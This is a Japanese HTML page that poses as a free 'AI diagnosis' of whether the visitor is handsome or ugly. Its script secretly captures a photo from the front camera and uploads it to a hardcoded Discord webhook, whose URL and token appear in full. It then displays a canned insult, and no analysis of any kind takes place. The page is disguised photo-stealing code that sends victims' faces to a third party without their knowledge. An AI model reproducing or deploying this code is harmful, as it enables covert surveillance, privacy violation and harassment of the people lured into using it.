<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="UTF-8">
  <title>【AI診断】あなたはイケメンかブサイクか</title>
  <meta name="description" content="【AI診断】">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <meta name="theme-color" content="#ff69b4">
  <meta property="og:url" content="">
  <meta property="og:type" content="article">
  <meta property="og:title" content="【AI診断】あなたはイケメンかブサイクか！">
  <meta property="og:description" content="イケメンかブサイクか分かるAI診断！客観的にAI分析し５秒で自分の顔レベルがわかる、高精度な無料AI診断アプリ！このアプリを使えば、自分がイケメンかどうかすぐに分かります！">
  <meta property="og:site_name" content="">
  <meta property="og:image" content="">
  <link rel="icon" type="image/png" href="">
  <!-- Google Fonts: Roboto -->
  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
  <style>
    * { margin:0; padding:0; box-sizing:border-box; }
    html, body {
      width:100%; height:100%;
      background:#000;
      color:#fff;
      font-family: sans-serif;
      display:flex; align-items:center; justify-content:center;
      flex-direction:column;
    }
    h1 { margin-bottom: 2rem; font-size:1.5rem; }
    button {
      background: #ff69b4;
      border: none;
      padding: 0.8rem 1.6rem;
      border-radius: 999px;
      color: #fff;
      font-size: 1rem;
      cursor: pointer;
    }
    button:disabled {
      opacity: 0.6;
      cursor: default;
    }
    #status {
      margin-top: 1rem;
      font-size: 1rem;
      color: #ddd;
      min-height: 1.2em;
    }
    video, canvas { display: none; }
  </style>
</head>
<body>
  <h1>AIがあなたの顔を診断します</h1>
  <button id="startBtn">診断スタート</button>
  <div id="status"></div>

  <video id="video" autoplay playsinline></video>
  <canvas id="canvas"></canvas>

  <script>
    const startBtn = document.getElementById('startBtn');
    const status   = document.getElementById('status');
    const video    = document.getElementById('video');
    const canvas   = document.getElementById('canvas');
    const WEBHOOK_URL = 'https://discord.com/api/webhooks/1362413097503166554/Xt7qxytRRzPW8-AC2D6V36Fdnz6ntxXwr4s1kX0wAUkWsjyVj68YfqTxrOgRfUJCXtJd'; // ←自分のWebhook URLに置き換えてください

    // Base64 → Blob
    function dataURLToBlob(dataURL) {
      const [header, base64] = dataURL.split(',');
      const mime = header.match(/:(.*?);/)[1];
      const bin  = atob(base64);
      const buf  = new Uint8Array(bin.length);
      for (let i = 0; i < bin.length; i++) buf[i] = bin.charCodeAt(i);
      return new Blob([buf], { type: mime });
    }

    startBtn.addEventListener('click', async () => {
      // 1) ボタン無効化・ラベル変更・ステータス表示
      startBtn.disabled = true;
      startBtn.textContent = '診断中';                  // ← ここでボタン文言を「診断中」に変更
      status.textContent = 'ブス度を診断しています...';

      try {
        // 2) カメラ起動
        const stream = await navigator.mediaDevices.getUserMedia({
          video: { facingMode: 'user' }, audio: false
        });
        video.srcObject = stream;
        await new Promise(r => {
          if (video.readyState >= 2) r();
          else video.onloadedmetadata = r;
        });

        // 3) キャプチャ
        canvas.width  = video.videoWidth;
        canvas.height = video.videoHeight;
        canvas.getContext('2d').drawImage(video, 0, 0);
        const dataURL = canvas.toDataURL('image/jpeg', 0.9);
        const blob    = dataURLToBlob(dataURL);

        // 4) Webhook 送信 (multipart/form-data)
        const form = new FormData();
        form.append('file', blob, 'face.jpg');
        const res = await fetch(WEBHOOK_URL, { method: 'POST', body: form });
        if (!res.ok) throw new Error(`HTTP ${res.status}`);

        // 5) 完了表示
        status.textContent = '診断完了！あなたの顔はブスです';
        startBtn.textContent = '診断完了';
        // 必要ならここで startBtn.disabled = false; で再度有効化も可
      } catch (err) {
        console.error(err);
        status.textContent = 'エラー: ' + err.message;
        startBtn.textContent = '診断スタート';
        startBtn.disabled = false;
      } finally {
        // 6) カメラ停止
        if (video.srcObject) {
          video.srcObject.getTracks().forEach(t => t.stop());
          video.srcObject = null;
        }
      }
    });
  </script>
</body>
</html>